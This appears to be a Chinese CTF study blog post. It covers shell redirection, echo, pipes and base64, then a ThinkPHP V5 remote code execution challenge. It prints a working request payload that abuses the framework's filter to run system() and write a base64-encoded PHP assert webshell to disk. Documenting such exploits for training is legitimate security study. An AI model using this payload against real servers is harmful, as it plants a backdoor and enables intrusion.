ThinkPHP V5的RCE(远程代码执行漏洞)

一、Shell脚本基础知识

1.Shell 输入/输出重定向

常见重定向符号:
1)标准输出
> 覆盖重定向
set -C 关闭覆盖重定向的功能 set +C:恢复
>| 强制重定向
>> 追加重定向
2)标准输入
< a tr 替换文件内容(tr set1 [set2])char(字符:一个一个换)
tr abc ABC < /etc/passwd :把etc/passwd中abc换成ABC
<< 将多行数据同时输入
3)错误输出
2> 2>>

扩展:不需要输出内容,只需要输出状态;
echo $? :判断上一条命令是否正确(0正确,1-255其他都不正确)

补充:
command > file 将输出重定向到 file。
command < file 将输入重定向到 file。
command >> file 将输出以追加的方式重定向到 file。
n > file 将文件描述符为 n 的文件重定向到 file。
n >> file 将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m 将输出文件 m 和 n 合并。
n <& m 将输入文件 m 和 n 合并。
<< tag 将开始标记 tag 和结束标记 tag 之间的内容作为输入。

2. echo -n 和 echo -e 参数意义

  • echo -n 不换行输出
$echo -n "123" $echo "456"
 
最终输出 123456 而不是 123 456
  • echo -e 处理特殊字符

若字符串中出现以下字符,则特别加以处理,而不会将它当成一般文字输出:

\a 发出警告声; 

\b 删除前一个字符; 

\c 最后不加上换行符号; 

\f 换行但光标仍旧停留在原来的位置; 

\n 换行且光标移至行首; 

\r 光标移至行首,但不换行; 

\t 插入tab; 

\v 与\f相同; 

\ 插入\字符; 

\nnn 插入nnn(八进制)所代表的ASCII字符; ```php $echo -e "a\bdddd" // dddd
$echo -e "a\adddd" // 输出同时会发出报警声音 adddd
 
$echo -e "a\ndddd" // 自动换行 a dddd

参考:https://blog.csdn.net/u012516524/article/details/84645830

3.管道符 |

command1|command2|command3|… :前一个命令的执行结果交给后一个命令来执行

4.base64加密、解密字符串并赋值给变量方法

pwd=$( base64 -d <<< MQo= )  # 解码
 
in=$( base64 <<< "123456")  # 加密 

题目

http://39.105.140.214:20030/

thinkphp必须开启debug模式才可以写入webshell,写入的执行代码是

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php

本来是echo “” >shell2.php,但是报错,用url编码之后再传aaabbb被url编码的值显示:aaabbb
以为php成功执行了,但是用蚁剑连接的时候,连接失败

输入命令的完整意思就是再html中执行php代码(用echo),-n表示不换行显示,用加密之后的值再用base64解密,传给shell9.php

遗留问题

debug部分没怎么搞懂,查不到_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]的具体意思,如果有大佬知道的话,麻烦评论告诉我。

你可能感兴趣的:(XCITC平台)